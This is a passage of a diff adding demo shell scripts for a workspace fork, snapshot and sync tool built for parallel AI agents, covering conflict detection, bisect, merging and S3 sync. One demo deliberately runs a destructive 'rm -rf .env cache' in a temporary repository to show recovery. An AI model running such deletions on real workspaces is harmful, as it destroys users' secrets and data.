'%bPASS%b %s\n' "$green" "$reset" "$1"; } +fail() { printf 'FAIL %s\n' "$1" >&2; exit 1; } + +step "Build furrow" +cargo build --release --quiet --manifest-path "$ROOT/Cargo.toml" + +step "Create one complete dirty workspace" +mkdir -p "$REPO" +git -C "$REPO" init -q -b main +git -C "$REPO" config user.email demo@example.com +git -C "$REPO" config user.name Demo +printf 'export const auth = "base";\n' >"$REPO/auth.ts" +printf '.env\n' >"$REPO/.gitignore" +git -C "$REPO" add auth.ts .gitignore +git -C "$REPO" commit -q -m initial +printf 'TOKEN=local-only\n' >"$REPO/.env" +"$BIN" --repo "$REPO" watch --no-daemon >/dev/null + +step "Fork two warm universes and publish intent" +"$BIN" --repo "$REPO" fork alpha --destination "$ALPHA" >/dev/null +"$BIN" --repo "$REPO" fork beta --destination "$BETA" >/dev/null +"$BIN" --repo "$ALPHA" claim auth.ts --owner alpha-agent >/dev/null + +step "Two agents independently edit the same path" +printf 'export const auth = "alpha refresh tokens";\n' >"$ALPHA/auth.ts" +printf 'export const auth = "beta passkeys";\n' >"$BETA/auth.ts" +"$BIN" --repo "$ALPHA" snap -m "alpha tool boundary" >/dev/null +"$BIN" --repo "$BETA" snap -m "beta tool boundary" >/dev/null + +step "Conflict radar groups the collision without blocking either agent" +forks=$("$BIN" --repo "$REPO" forks) +printf '%s\n' "$forks" +test "$(printf '%s\n' "$forks" | grep -c '1 conflict')" = 2 \ + || fail "both universes should report one conflict" +events=$("$BIN" --repo "$REPO" events) +printf '%s\n' "$events" +test "$(printf '%s\n' "$events" | grep -c '"state":"opened"')" = 1 \ + || fail "the path should produce exactly one grouped open event" +printf '%s\n' "$events" | grep -q '"claim_state":"covered"' \ + || fail "the event should carry alpha's advisory claim state" +ok "agents can route around one durable, cursor-addressable conflict event" + +step "Beta reverts; the same conflict closes" +printf 'export const auth = "base";\n' >"$BETA/auth.ts" +"$BIN" --repo "$BETA" snap -m "beta rerouted" >/dev/null +forks=$("$BIN" --repo "$REPO" forks) +printf '%s\n' "$forks" +test "$(printf '%s\n' "$forks" | grep -c 'clear')" = 2 \ + || fail "both universes should be clear after rerouting" +events=$("$BIN" --repo "$REPO" events) +test "$(printf '%s\n' "$events" | grep -c '"state":"resolved"')" = 1 \ + || fail "the radar should emit one durable resolve event" +ok "the collision resolved before merge work began" + +printf '\n%bDemo complete.%b Workspaces retained at %s\n' "$green" "$reset" "$WORK" diff --git a/engine/demo/find-regression.sh b/engine/demo/find-regression.sh new file mode 100755 index 0000000000..17af44fbaf --- /dev/null +++ b/engine/demo/find-regression.sh @@ -0,0 +1,60 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT=$(cd "$(dirname "$0")/.." && pwd) +BIN="$ROOT/target/release/furrow" +WORK=$(mktemp -d "${TMPDIR:-/tmp}/furrow-bisect-demo.XXXXXX") +REPO="$WORK/project" +export FURROW_DATA_DIR="$WORK/data" +export FURROW_NO_DAEMON=1 + +bold='\033[1m' +green='\033[0;32m' +reset='\033[0m' + +step() { printf '\n%b%s%b\n' "$bold" "$1" "$reset"; } +ok() { printf '%bPASS%b %s\n' "$green" "$reset" "$1"; } +fail() { printf 'FAIL %s\n' "$1" >&2; exit 1; } + +step "Build furrow" +cargo build --release --quiet --manifest-path "$ROOT/Cargo.toml" + +step "Create a warm project timeline" +mkdir -p "$REPO/node_modules/runtime" +git -C "$REPO" init -q -b main +git -C "$REPO" config user.email demo@example.com +git -C "$REPO" config user.name Demo +printf 'node_modules/\n' >"$REPO/.gitignore" +printf 'status=good\n' >"$REPO/app.conf" +dd if=/dev/zero of="$REPO/node_modules/runtime/cache.bin" bs=1048576 count=16 2>/dev/null +git -C "$REPO" add .gitignore app.conf +git -C "$REPO" commit -q -m initial +"$BIN" --repo "$REPO" watch --no-daemon >/dev/null + +printf 'one\n' >"$REPO/feature.txt" +"$BIN" --repo "$REPO" snap -m "feature started" >/dev/null +printf 'two\n' >>"$REPO/feature.txt" +"$BIN" --repo "$REPO" snap -m "feature still passes" >/dev/null +printf 'status=broken\n' >"$REPO/app.conf" +FIRST_BAD=$("$BIN" --repo "$REPO" --json snap -m "regression introduced" \ + | sed -n 's/.*"snapshot":"\([0-9a-f]*\)".*/\1/p') +printf 'later work\n' >"$REPO/later.txt" +"$BIN" --repo "$REPO" snap -m "later failing state" >/dev/null +printf 'more work\n' >>"$REPO/later.txt" +"$BIN" --repo "$REPO" snap -m "latest failing state" >/dev/null +test "${#FIRST_BAD}" -eq 64 || fail "could not record the expected bad snapshot" +ok "six complete states recorded around one regression" + +step "Find the first failure with logarithmic checks" +REPORT="$WORK/bisect-report" +"$BIN" --repo "$REPO" bisect -- /bin/sh -c \ + 'grep -q "status=good" app.conf; code=$?; printf "probe-only\n" > app.conf; exit $code' \ + | tee "$REPORT" +FOUND=$(sed -n 's/^First bad: //p' "$REPORT") +CHECKS=$(grep -Ec '^[0-9a-f]{12} ' "$REPORT" || true) +test "$FOUND" = "$FIRST_BAD" || fail "bisect selected the wrong snapshot" +test "$CHECKS" -le 5 || fail "bisect used more than logarithmic checks" +grep -q 'status=broken' "$REPO/app.conf" || fail "probe side effects reached the source" +ok "first bad state found in $CHECKS isolated checks; source stayed untouched" + +printf '\n%bDemo complete.%b Workspace retained at %s\n' "$green" "$reset" "$WORK" diff --git a/engine/demo/five-agent-scale.sh b/engine/demo/five-agent-scale.sh new file mode 100755 index 0000000000..b1891dab9a --- /dev/null +++ b/engine/demo/five-agent-scale.sh @@ -0,0 +1,64 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT=$(cd "$(dirname "$0")/.." && pwd) +BIN="$ROOT/target/release/furrow" +WORK=$(mktemp -d "${TMPDIR:-/tmp}/furrow-five-agents.XXXXXX") +REPO="$WORK/project" +export FURROW_DATA_DIR="$WORK/data" +export FURROW_NO_DAEMON=1 + +bold='\033[1m' +green='\033[0;32m' +reset='\033[0m' + +step() { printf '\n%b%s%b\n' "$bold" "$1" "$reset"; } +ok() { printf '%bPASS%b %s\n' "$green" "$reset" "$1"; } +fail() { printf 'FAIL %s\n' "$1" >&2; exit 1; } + +step "Build furrow" +cargo build --release --quiet --manifest-path "$ROOT/Cargo.toml" + +step "Create one dirty workspace with a 32 MiB warm dependency" +mkdir -p "$REPO/node_modules/runtime" +git -C "$REPO" init -q -b main +git -C "$REPO" config user.email demo@example.com +git -C "$REPO" config user.name Demo +printf 'node_modules/\n.env\n' >"$REPO/.gitignore" +printf 'base source\n' >"$REPO/app.txt" +git -C "$REPO" add .gitignore app.txt +git -C "$REPO" commit -q -m initial +printf 'dirty source must survive\n' >"$REPO/app.txt" +printf 'LOCAL_TOKEN=five-agent-demo\n' >"$REPO/.env" +dd if=/dev/zero of="$REPO/node_modules/runtime/cache.bin" bs=1048576 count=32 2>/dev/null +"$BIN" --repo "$REPO" watch --no-daemon >/dev/null +ok "complete warm state protected" + +step "Start five complete universes in one command" +"$BIN" --repo "$REPO" exec -n 5 -- sh -c ' + printf "result from agent %s\n" "$FURROW_UNIVERSE_INDEX" >"result-$FURROW_UNIVERSE_INDEX.txt" + printf "agent %s implementation\n" "$FURROW_UNIVERSE_INDEX" >app.txt +' + +step "Verify pairwise isolation and complete warm state" +test "$(cat "$REPO/app.txt")" = "dirty source must survive" \ + || fail "an agent modified the source" +test ! -e "$REPO/result-1.txt" || fail "an agent result leaked into the source" +for index in 1 2 3 4 5; do + fork=$(find "$WORK/project.furrow-forks" -maxdepth 1 -type d -name "exec-*-$index" -print -quit) + test -n "$fork" || fail "agent $index universe was not retained" + test -f "$fork/result-$index.txt" || fail "agent $index lost its result" + test -f "$fork/node_modules/runtime/cache.bin" || fail "agent $index lost warm dependencies" + grep -q LOCAL_TOKEN "$fork/.env" || fail "agent $index lost ignored local configuration" + for other in 1 2 3 4 5; do + if test "$other" != "$index" && test -e "$fork/result-$other.txt"; then + fail "agent $other leaked into agent $index" + fi + done +done +ok "five agents completed with zero cross-workspace or source interference" + +step "Inspect disclosed fork costs" +"$BIN" --repo "$REPO" forks + +printf '\n%bDemo complete.%b Six workspaces retained at %s\n' "$green" "$reset" "$WORK" diff --git a/engine/demo/mission-control.sh b/engine/demo/mission-control.sh new file mode 100755 index 0000000000..bbb7285496 --- /dev/null +++ b/engine/demo/mission-control.sh @@ -0,0 +1,59 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT=$(cd "$(dirname "$0")/.." && pwd) +BIN="$ROOT/target/release/furrow" +WORK=$(mktemp -d "${TMPDIR:-/tmp}/furrow-mission-control.XXXXXX") +REPO="$WORK/project" +AUTH="$WORK/auth-hardening" +PASSKEY="$WORK/passkey-rollout" +DOCS="$WORK/docs-refresh" +export FURROW_DATA_DIR="$WORK/data" +export FURROW_NO_DAEMON=1 + +cargo build --release --quiet --manifest-path "$ROOT/Cargo.toml" +mkdir -p "$REPO/src" +git -C "$REPO" init -q -b main +git -C "$REPO" config user.email demo@furrow.local +git -C "$REPO" config user.name "Furrow Demo" +printf 'export function authenticate(user: string) {\n return user.length > 0;\n}\n' >"$REPO/src/auth.ts" +printf 'export const port = 4173;\n' >"$REPO/src/config.ts" +printf '# Parallel agent demo\n' >"$REPO/README.md" +printf '.env\n' >"$REPO/.gitignore" +git -C "$REPO" add . +git -C "$REPO" commit -q -m "initial workspace" +printf 'SESSION_KEY=local-demo-only\n' >"$REPO/.env" + +"$BIN" --repo "$REPO" watch --no-daemon >/dev/null +"$BIN" --repo "$REPO" snap -m "baseline before parallel work" >/dev/null +printf 'Mission Control demo: %s\n' "$WORK" +printf 'Watch real furrow commands create three universes and open a collision.\n' +printf 'Press Ctrl-C to stop the local UI server. The demo workspaces remain on disk.\n' + +scenario() { + sleep 2 + printf '\n[furrow] creating a clear documentation universe\n' + "$BIN" --repo "$REPO" fork docs-refresh --destination "$DOCS" >/dev/null + printf '\nOperational notes for the next release.\n' >>"$DOCS/README.md" + "$BIN" --repo "$DOCS" snap -m "documentation agent updated release notes" >/dev/null + + sleep 3 + printf '[furrow] security agent claims and edits src/auth.ts\n' + "$BIN" --repo "$REPO" fork auth-hardening --destination "$AUTH" >/dev/null + "$BIN" --repo "$AUTH" claim src/auth.ts --owner security-agent >/dev/null + printf 'export function authenticate(user: string) {\n return user.length >= 8; // hardened policy\n}\n' >"$AUTH/src/auth.ts" + "$BIN" --repo "$AUTH" snap -m "security agent hardened authentication" >/dev/null + + sleep 3 + printf '[furrow] identity agent edits the same path; conflict radar opens\n' + "$BIN" --repo "$REPO" fork passkey-rollout --destination "$PASSKEY" >/dev/null + printf 'export function authenticate(user: string) {\n return user.startsWith("passkey:");\n}\n' >"$PASSKEY/src/auth.ts" + "$BIN" --repo "$PASSKEY" snap -m "identity agent added passkeys" >/dev/null + printf '[furrow] live scenario ready: inspect the diffs and merge previews in Mission Control\n' +} + +scenario & +if [[ "${FURROW_DEMO_NO_OPEN:-0}" == "1" ]]; then + exec "$BIN" --repo "$REPO" ui --no-open --merge-check "git diff --check" +fi +exec "$BIN" --repo "$REPO" ui --merge-check "git diff --check" diff --git a/engine/demo/parallel-agent-forks.sh b/engine/demo/parallel-agent-forks.sh new file mode 100755 index 0000000000..42e724e884 --- /dev/null +++ b/engine/demo/parallel-agent-forks.sh @@ -0,0 +1,113 @@ +#!/usr/bin/env bash +set -euo pipefail + +PROJECT_ROOT=$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd) +BIN="$PROJECT_ROOT/target/release/furrow" +DEMO_ROOT=${FURROW_DEMO_DIR:-$(mktemp -d "${TMPDIR:-/tmp}/furrow-forks.XXXXXX")} +REPO="$DEMO_ROOT/project" +ALPHA="$DEMO_ROOT/alpha" +BETA="$DEMO_ROOT/beta" +export FURROW_DATA_DIR="$DEMO_ROOT/furrow-data" +export FURROW_NO_DAEMON=1 + +green='\033[0;32m' +red='\033[0;31m' +bold='\033[1m' +reset='\033[0m' + +step() { printf '\n%b%s%b\n' "$bold" "$1" "$reset"; } +ok() { printf '%bPASS%b %s\n' "$green" "$reset" "$1"; } +fail() { printf '%bFAIL%b %s\n' "$red" "$reset" "$1"; exit 1; } + +step "Build furrow" +cargo build --manifest-path "$PROJECT_ROOT/Cargo.toml" --release --quiet + +step "Create one dirty, warm developer workspace" +mkdir -p "$REPO/node_modules/example" "$REPO/.cache/build" +git -C "$REPO" init -b main --quiet +git -C "$REPO" config user.email demo@furrow.dev +git -C "$REPO" config user.name "furrow demo" +printf '.env\nnode_modules/\n.cache/\n' > "$REPO/.gitignore" +printf 'export const result = "original";\n' > "$REPO/app.js" +git -C "$REPO" add app.js .gitignore +git -C "$REPO" commit -m "initial app" --quiet +printf 'API_TOKEN=local-only\n' > "$REPO/.env" +printf '// uncommitted developer edit\n' >> "$REPO/app.js" +dd if=/dev/zero of="$REPO/node_modules/example/warm-cache.bin" bs=1048576 count=32 2>/dev/null +printf 'compiled-before-agents\n' > "$REPO/.cache/build/state" + +"$BIN" --repo "$REPO" watch >/dev/null +ok "complete dirty state protected" + +step "Fork two full workspaces with warm dependencies" +"$BIN" --repo "$REPO" fork alpha --destination "$ALPHA" +"$BIN" --repo "$REPO" fork beta --destination "$BETA" + +step "Make overlapping agent intent visible before writes" +"$BIN" --repo "$ALPHA" claim app.js --owner alpha-agent >/dev/null +if "$BIN" --repo "$BETA" claim app.js --owner beta-agent; then + fail "beta should not receive alpha's active path claim" +else + ok "beta saw alpha's advisory app.js claim before editing" +fi +"$BIN" --repo "$ALPHA" coord write tasks/alpha.txt \ + --value "alpha owns app.js" --owner alpha-agent >/dev/null +grep -q 'alpha owns app.js' "$BETA/.furrow/coord/tasks/alpha.txt" \ + && ok "alpha's versioned coordination note propagated eagerly to beta" \ + || fail "coordination note did not propagate" + +step "Run two simulated agents concurrently" +( + printf 'export const result = "alpha implementation";\n' > "$ALPHA/app.js" + printf 'alpha-only artifact\n' > "$ALPHA/.cache/build/alpha" +) & +alpha_pid=$! +( + printf 'export const result = "beta implementation";\n' > "$BETA/app.js" + printf 'beta-only migration\n' > "$BETA/migration.sql" +) & +beta_pid=$! +wait "$alpha_pid" "$beta_pid" + +step "Verify full-state isolation" +grep -q 'uncommitted developer edit' "$REPO/app.js" \ + && ok "source dirty edit was never touched" || fail "source was modified" +grep -q 'alpha implementation' "$ALPHA/app.js" \ + && ok "alpha has its own implementation" || fail "alpha result missing" +grep -q 'beta implementation' "$BETA/app.js" \ + && ok "beta has its own implementation" || fail "beta result missing" +[[ -s "$ALPHA/node_modules/example/warm-cache.bin" && -s "$BETA/node_modules/example/warm-cache.bin" ]] \ + && ok "both agents started with the 32 MiB warm dependency tree" || fail "warm state missing" +grep -q 'local-only' "$ALPHA/.env" && grep -q 'local-only' "$BETA/.env" \ + && ok "ignored local configuration exists in both forks" || fail "ignored state missing" +[[ $(cat "$REPO/.furrow/workspace-id") != $(cat "$ALPHA/.furrow/workspace-id") ]] \ + && [[ $(cat "$ALPHA/.furrow/workspace-id") != $(cat "$BETA/.furrow/workspace-id") ]] \ + && ok "every fork has an independent timeline" || fail "workspace identities collided" + +"$BIN" --repo "$ALPHA" snap -m "alpha agent boundary" >/dev/null +"$BIN" --repo "$BETA" snap -m "beta agent boundary" >/dev/null + +step "List the parallel workspaces with live conflict radar" +"$BIN" --repo "$REPO" forks +events=$("$BIN" --repo "$REPO" events) +printf '%s\n' "$events" +printf '%s\n' "$events" | grep -q '"state":"opened"' \ + && ok "one durable conflict event names both forks and app.js" \ + || fail "conflict radar event missing" + +step "Verification-gated merge of alpha" +"$BIN" --repo "$REPO" merge alpha \ + --check "grep -q 'alpha implementation' app.js && test -f .cache/build/alpha" +grep -q 'alpha implementation' "$REPO/app.js" \ + && ok "alpha converged only after its check passed" || fail "alpha merge missing" + +step "Overlapping beta edit stops as an explicit conflict" +if "$BIN" --repo "$REPO" merge beta --dry-run; then + fail "beta should conflict with alpha on app.js" +else + ok "beta conflict was reported without mutating the source" +fi +[[ ! -e "$REPO/migration.sql" ]] \ + && ok "no partial beta changes landed" || fail "conflicted merge partially applied" + +printf '\n%bDemo complete.%b Workspaces retained at %s\n' "$green" "$reset" "$DEMO_ROOT" diff --git a/engine/demo/risky-command.sh b/engine/demo/risky-command.sh new file mode 100755 index 0000000000..dd220a05e3 --- /dev/null +++ b/engine/demo/risky-command.sh @@ -0,0 +1,56 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT=$(cd "$(dirname "$0")/.." && pwd) +BIN="$ROOT/target/release/furrow" +WORK=$(mktemp -d "${TMPDIR:-/tmp}/furrow-try.XXXXXX") +REPO="$WORK/project" +export FURROW_DATA_DIR="$WORK/data" +export FURROW_NO_DAEMON=1 + +bold='\033[1m' +green='\033[0;32m' +reset='\033[0m' + +step() { printf '\n%b%s%b\n' "$bold" "$1" "$reset"; } +ok() { printf '%bPASS%b %s\n' "$green" "$reset" "$1"; } +fail() { printf 'FAIL %s\n' "$1" >&2; exit 1; } + +step "Build furrow" +cargo build --release --quiet --manifest-path "$ROOT/Cargo.toml" + +step "Create an ordinary repository with state Git cannot restore" +mkdir -p "$REPO/cache" +git -C "$REPO" init -q -b main +git -C "$REPO" config user.email demo@example.com +git -C "$REPO" config user.name Demo +printf 'API_TOKEN=irreplaceable\n' >"$REPO/.env" +printf '.env\ncache/\n' >"$REPO/.gitignore" +printf 'console.log("working");\n' >"$REPO/app.js" +printf 'warm dependency bytes\n' >"$REPO/cache/dependency.bin" +git -C "$REPO" add .gitignore app.js +git -C "$REPO" commit -q -m initial + +step "Run a destructive command with no prior furrow setup" +REPORT="$WORK/try-report" +"$BIN" --repo "$REPO" try -m "destructive cleanup" -- \ + /bin/sh -c 'rm -rf .env cache; printf "%s\n" '\''console.log("broken");'\'' > app.js' \ + 2>"$REPORT" +cat "$REPORT" +BEFORE=$(sed -n 's/^Protected //p' "$REPORT") +test "${#BEFORE}" -eq 64 || fail "furrow did not report an exact restore point" +test ! -e "$REPO/.env" || fail "the demo command did not delete .env" +grep -q broken "$REPO/app.js" || fail "the demo command did not damage app.js" +ok "the risky command ran normally and its damage is visible" + +step "Undo the complete command" +"$BIN" --repo "$REPO" rewind "$BEFORE" --yes >/dev/null +grep -q 'API_TOKEN=irreplaceable' "$REPO/.env" \ + || fail "ignored secret was not restored" +grep -q 'console.log("working")' "$REPO/app.js" \ + || fail "tracked source was not restored" +grep -q 'warm dependency bytes' "$REPO/cache/dependency.bin" \ + || fail "ignored dependency cache was not restored" +ok "tracked, ignored, and dependency state recovered from one restore point" + +printf '\n%bDemo complete.%b Workspace retained at %s\n' "$green" "$reset" "$WORK" diff --git a/engine/demo/shrink-cache.sh b/engine/demo/shrink-cache.sh new file mode 100755 index 0000000000..48f5ad717f --- /dev/null +++ b/engine/demo/shrink-cache.sh @@ -0,0 +1,61 @@ +#!/usr/bin/env bash +set -euo pipefail + +ROOT=$(cd "$(dirname "$0")/.." && pwd) +BIN="$ROOT/target/release/furrow" +WORK=$(mktemp -d "${TMPDIR:-/tmp}/furrow-shrink.XXXXXX") +REPO="$WORK/project" +export FURROW_DATA_DIR="$WORK/data" +export FURROW_NO_DAEMON=1 + +bold='\033[1m' +green='\033[0;32m' +reset='\033[0m' + +step() { printf '\n%b%s%b\n' "$bold" "$1" "$reset"; } +ok() { printf '%bPASS%b %s\n' "$green" "$reset" "$1"; } +fail() { printf 'FAIL %s\n' "$1" >&2; exit 1; } + +step "Build furrow" +cargo build --release --quiet --manifest-path "$ROOT/Cargo.toml" + +step "Create a warm project with a 24 MiB ignored dependency tree" +mkdir -p "$REPO/node_modules/runtime" "$REPO/node_modules/compiler" +git -C "$REPO" init -q -b main +git -C "$REPO" config user.email demo@example.com +git -C "$REPO" config user.name Demo +printf 'node_modules/\n' >"$REPO/.gitignore" +printf 'console.log("ready");\n' >"$REPO/app.js" +dd if=/dev/zero of="$REPO/node_modules/runtime/archive.bin" bs=1048576 count=16 2>/dev/null +dd if=/dev/zero of="$REPO/node_modules/compiler/cache.bin" bs=1048576 count=8 2>/dev/null +printf 'runtime sentinel\n' >"$REPO/node_modules/runtime/version.txt" +git -C "$REPO" add .gitignore app.js +git -C "$REPO" commit -q -m initial +"$BIN" --repo "$REPO" watch --no-daemon >/dev/null +ok "the complete warm workspace is already deduplicated in the local store" + +step "Preview reclaimable workspace bytes without changing anything" +"$BIN" --repo "$REPO" shrink +test -e "$REPO/node_modules/runtime/archive.bin" \ + || fail "preview changed the workspace" +ok "preview was read-only" + +step "Remove the redundant workspace copy with an exact undo point" +REPORT="$WORK/shrink-report" +"$BIN" --repo "$REPO" shrink --yes | tee "$REPORT" +BEFORE=$(sed -n 's/^Undo with: furrow rewind //p' "$REPORT") +test "${#BEFORE}" -eq 64 || fail "shrink did not report an exact restore point" +test ! -e "$REPO/node_modules" || fail "dependency tree was not removed" +grep -q ready "$REPO/app.js" || fail "source was changed" +grep -q 'Estimated net disk reclaimed:' "$REPORT" || fail "net savings were not reported" +ok "dependency bytes were reclaimed without touching source" + +step "Restore the exact warm dependency tree" +"$BIN" --repo "$REPO" rewind "$BEFORE" --yes >/dev/null +test "$(wc -c <"$REPO/node_modules/runtime/archive.bin" | tr -d ' ')" = 16777216 \ + || fail "runtime archive was not restored" +grep -q 'runtime sentinel' "$REPO/node_modules/runtime/version.txt" \ + || fail "dependency metadata was not restored" +ok "the complete cache returned from the local snapshot" + +printf '\n%bDemo complete.%b Workspace retained at %s\n' "$green" "$reset" "$WORK" diff --git a/engine/demo/two-machine-network.sh b/engine/demo/two-machine-network.sh new file mode 100755 index 0000000000..a1826396fb --- /dev/null +++ b/engine/demo/two-machine-network.sh @@ -0,0 +1,215 @@ +#!/usr/bin/env bash +set -euo pipefail + +root=$(cd "$(dirname "$0")/.." && pwd) +tag=${FURROW_DEMO_IMAGE:-furrow-two-machine:local} +network=furrow-two-machine-net +minio=furrow-two-machine-minio +laptop_a=furrow-laptop-a +laptop_b=furrow-laptop-b +volume_a=furrow-laptop-a-data +volume_b=furrow-laptop-b-data +follow_a= +follow_b= + +now_ms() { + perl -MTime::HiRes=time -e 'printf "%.0f\n", time * 1000' +} + +cleanup() { + test -z "$follow_a" || kill "$follow_a" >/dev/null 2>&1 || true + test -z "$follow_b" || kill "$follow_b" >/dev/null 2>&1 || true + docker rm -f "$laptop_a" "$laptop_b" "$minio" >/dev/null 2>&1 || true + docker network rm "$network" >/dev/null 2>&1 || true + docker volume rm "$volume_a" "$volume_b" >/dev/null 2>&1 || true +} + +remote_usage() { + docker run --rm --network "$network" --entrypoint /bin/sh minio/mc:latest -c ' + mc alias set local http://furrow-two-machine-minio:9000 furrow-test furrow-test-secret >/dev/null + mc du --json --recursive local/sync | tail -1 + ' +} + +json_number() { + printf '%s\n' "$1" | sed -n "s/.*\"$2\":\([0-9][0-9]*\).*/\1/p" +} + +tree_digest() { + docker exec "$1" sh -c ' + cd /machine/project + find . -type f ! -path "./.furrow/*" -print0 | + sort -z | xargs -0 sha256sum | sha256sum | cut -d " " -f 1 + ' +} + +wait_for_file() { + machine=$1 + file=$2 + expected=$3 + for _ in $(seq 1 300); do + if docker exec "$machine" sh -c "test -f '$file' && grep -qx '$expected' '$file'"; then + return 0 + fi + sleep 0.1 + done + printf 'timed out waiting for %s on %s\n' "$file" "$machine" >&2 + return 1 +} + +trap cleanup EXIT +cleanup + +docker build -q -f "$root/demo/Dockerfile.two-machine" -t "$tag" "$root" >/dev/null +docker network create "$network" >/dev/null +docker volume create "$volume_a" >/dev/null +docker volume create "$volume_b" >/dev/null +docker run -d --name "$minio" --network "$network" \ + -e MINIO_ROOT_USER=furrow-test -e MINIO_ROOT_PASSWORD=furrow-test-secret \ + minio/minio:latest server /data >/dev/null +docker run --rm --network "$network" --entrypoint /bin/sh minio/mc:latest -c ' + until mc alias set local http://furrow-two-machine-minio:9000 furrow-test furrow-test-secret >/dev/null 2>&1; do sleep 1; done + mc mb local/sync >/dev/null +' + +for machine in "$laptop_a:$volume_a" "$laptop_b:$volume_b"; do + name=${machine%%:*} + volume=${machine#*:} + docker run -d --name "$name" --network "$network" -v "$volume:/machine" \ + -e FURROW_DATA_DIR=/machine/furrow-data \ + -e AWS_ACCESS_KEY_ID=furrow-test \ + -e AWS_SECRET_ACCESS_KEY=furrow-test-secret \ + -e FURROW_S3_ENDPOINT=http://furrow-two-machine-minio:9000 \ + -e FURROW_S3_ALLOW_HTTP=1 -e FURROW_S3_PATH_STYLE=1 \ + "$tag" >/dev/null +done + +# Laptop A begins with a realistic mixed working tree: committed source, a large +# fixture, ignored credentials, and uncommitted agent notes. +docker exec "$laptop_a" sh -c ' + mkdir -p /machine/project/src /machine/project/fixtures /machine/project/reports + cd /machine/project + git init -q + git config user.email agent-a@example.test + git config user.name "Agent A" + for number in $(seq -w 1 80); do + printf "export function module%s(value: number) { return value + %s; }\n" "$number" "${number#0}" > "src/module${number}.ts" + done + dd if=/dev/urandom of=fixtures/research-corpus.bin bs=1M count=4 status=none + printf "node_modules/\n.env\n" > .gitignore + printf "MODEL_TOKEN=encrypted-working-state\n" > .env + printf "Investigate corpus outliers and write the handoff report.\n" > agent-notes.txt + git add src .gitignore fixtures/research-corpus.bin + git commit -qm "seed analysis project" + printf "Uncommitted hypothesis: cohorts 7 and 12 need review.\n" >> agent-notes.txt + furrow watch --no-daemon >/dev/null +' + +source_bytes=$(docker exec "$laptop_a" sh -c 'du -sb /machine/project | cut -f 1') +source_files=$(docker exec "$laptop_a" sh -c 'find /machine/project -type f ! -path "*/.furrow/*" | wc -l | tr -d " "') +add_output=$(docker exec "$laptop_a" sh -c 'cd /machine/project && furrow remote add s3://sync/transport --name project') +key=$(printf '%s\n' "$add_output" | sed -n 's/^Recovery key //p') +test ${#key} -eq 64 + +push_started=$(now_ms) +initial_push=$(docker exec "$laptop_a" sh -c 'cd /machine/project && furrow sync --push') +push_latency_ms=$(( $(now_ms) - push_started )) +initial_usage=$(remote_usage) +initial_remote_bytes=$(json_number "$initial_usage" size) +initial_remote_objects=$(json_number "$initial_usage" objects) +test -n "$initial_remote_bytes" + +clone_started=$(now_ms) +clone_output=$(docker exec -e FURROW_RECOVERY_KEY="$key" "$laptop_b" sh -c ' + cd /machine + furrow clone s3://sync/transport/project --no-watch +') +clone_latency_ms=$(( $(now_ms) - clone_started )) + +test "$(tree_digest "$laptop_a")" = "$(tree_digest "$laptop_b")" +docker exec "$laptop_b" grep -qx 'MODEL_TOKEN=encrypted-working-state' /machine/project/.env +docker exec "$laptop_b" grep -qx 'Uncommitted hypothesis: cohorts 7 and 12 need review.' /machine/project/agent-notes.txt +docker exec "$laptop_b" sh -c 'cd /machine/project && test "$(git log -1 --format=%s)" = "seed analysis project"' + +docker exec "$laptop_a" sh -c 'cd /machine/project && furrow sync --follow --poll-seconds 1' >/tmp/furrow-follow-a.log 2>&1 & +follow_a=$! +docker exec "$laptop_b" sh -c 'cd /machine/project && furrow sync --follow --poll-seconds 1' >/tmp/furrow-follow-b.log 2>&1 & +follow_b=$! + +# Agent A produces several related artifacts in one turn. The completion marker +# is written last so its arrival means B can validate the complete turn. +a_started=$(now_ms) +docker exec "$laptop_a" sh -c ' + cd /machine/project + mkdir -p reports artifacts + { + printf "# Cohort analysis\n\n" + printf "The corpus scan found two review candidates.\n\n" + printf "| cohort | samples | confidence |\n| --- | ---: | ---: |\n" + for cohort in $(seq 1 160); do + printf "| cohort-%03d | %d | 0.%03d |\n" "$cohort" "$((800 + cohort))" "$((700 + cohort % 250))" + done + } > reports/analysis.md + printf "{\"candidate_cohorts\":[7,12],\"rows\":160}\n" > artifacts/summary.json + printf "Agent A complete\n" > artifacts/agent-a.done + furrow snap -m "agent A: cohort analysis" >/dev/null +' +wait_for_file "$laptop_b" /machine/project/artifacts/agent-a.done 'Agent A complete' +a_latency_ms=$(( $(now_ms) - a_started )) +docker exec "$laptop_b" grep -q '^| cohort-160 |' /machine/project/reports/analysis.md +docker exec "$laptop_b" grep -Fqx '{"candidate_cohorts":[7,12],"rows":160}' /machine/project/artifacts/summary.json +test "$(tree_digest "$laptop_a")" = "$(tree_digest "$laptop_b")" +a_usage=$(remote_usage) +a_remote_bytes=$(json_number "$a_usage" size) +a_delta_bytes=$(( a_remote_bytes - initial_remote_bytes )) +a_payload_bytes=$(docker exec "$laptop_a" sh -c 'cd /machine/project; wc -c < reports/analysis.md; wc -c < artifacts/summary.json' | awk '{ total += $1 } END { print total }') + +# Agent B consumes A's report, adds a review and final report, then hands the +# complete state back. This also exercises the explicit writer handoff. +b_started=$(now_ms) +docker exec "$laptop_b" sh -c ' + cd /machine/project + test "$(grep -c "^| cohort-" reports/analysis.md)" -eq 160 + mkdir -p reviews + cat > reviews/methodology.md <<"EOF" +# Methodology review + +The analysis is internally consistent. Cohorts 7 and 12 should remain flagged, +and the generated table contains all 160 expected cohorts. +EOF + { + printf "# Final research report\n\n" + printf "Reviewed by Agent B after reading the complete Agent A artifact set.\n\n" + printf "Decision: investigate cohorts 7 and 12.\n" + } > reports/final.md + printf "Agent B complete\n" > artifacts/agent-b.done + furrow snap -m "agent B: methodology review" >/dev/null +' +wait_for_file "$laptop_a" /machine/project/artifacts/agent-b.done 'Agent B complete' +b_latency_ms=$(( $(now_ms) - b_started )) +docker exec "$laptop_a" grep -qx 'Decision: investigate cohorts 7 and 12.' /machine/project/reports/final.md +docker exec "$laptop_a" grep -q 'all 160 expected cohorts' /machine/project/reviews/methodology.md +final_digest_a=$(tree_digest "$laptop_a") +final_digest_b=$(tree_digest "$laptop_b") +test "$final_digest_a" = "$final_digest_b" +b_usage=$(remote_usage) +b_remote_bytes=$(json_number "$b_usage" size) +b_delta_bytes=$(( b_remote_bytes - a_remote_bytes )) +b_payload_bytes=$(docker exec "$laptop_b" sh -c 'cd /machine/project; wc -c < reviews/methodology.md; wc -c < reports/final.md' | awk 